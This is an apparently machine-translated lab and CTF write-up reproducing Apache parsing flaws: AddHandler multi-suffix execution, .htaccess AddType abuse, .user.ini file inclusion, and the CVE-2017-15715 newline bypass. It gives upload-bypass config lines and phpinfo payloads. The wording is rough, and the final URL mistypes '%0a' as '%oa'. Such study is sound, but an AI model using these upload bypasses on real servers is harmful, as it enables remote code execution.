Middleware vulnerability recurrence Apache

Catalog

0x0a httpd-conf Improper configuration ( Multiple file name parsing vulnerability )

0x0b .htaccess Parsing vulnerabilities

0x0c  .user.ini Parsing vulnerabilities

Environmental Science ctfshow web 153

principle ：php File contains   .user.ini

0x0d Apache HTTPD Newline parsing vulnerability (CVE-2017-15715)

Environmental Science ：vulhub

Affects version ：2.4.0~2.4.29 edition

summary ： Mind mapping

---

0x0a httpd-conf Improper configuration ( Multiple file name parsing vulnerability )

AddHandler application/x-httpd-php .php

In the case of multiple suffixes , As long as it contains .php suffix , Can be identified as PHP file .

Local reproduction ：

Edit the file h：ttpd-conf(apache/conf/http-conf):

         add to ：AddHandler application/x-httpd-php .php

Edit the file ：phpinfo.php.jpg

        write in ：<?php phpinfo();?>

visit ：127.0.0.1/phpinfo.php.jpg

0x0b .htaccess Parsing vulnerabilities

AddType application/x-httpd-php .jpg Under this path jpg File by http Will be interpreted as php file

Local reproduction ：

Upload .htaccess file （ Local ）

         edit ：AddType application/x-httpd-php .jpg

Upload phpinfo.jpg file （ Local ）

         edit ：GIF89a<?php phpinfo();?>

  visit : 127.0.0.1/phpinfo.jpg

0x0c  .user.ini Parsing vulnerabilities

Environmental Science ctfshow web 153

principle ：php File contains   .user.ini

auto_append_file=filename     // Each of the peer directories php Add... At the end of the file  include(“filename”)
auto_prepend_file=filename    // Add  include(“filename”)

  Upload 1.png

        <?php phpinfo();?>

Be careful ： Then access any one under the file php that will do   Because there is index.php So you don't need to upload php To analyze

 

0x0d Apache HTTPD Newline parsing vulnerability (CVE-2017-15715)

Environmental Science ：vulhub

Affects version ：2.4.0~2.4.29 edition

Environment startup ：

• stay CVE-2017-15715 Right click the folder to open the terminal
• sudo docker-compose up -d
• visit   ip+8000

burp Grab the bag Modify parameter value

         stay evil.php Back plus c——> Choose code modify ——>0a

 

 

  visit url：192.168.0.10:8080/evil.php%oa

 

summary ： Mind mapping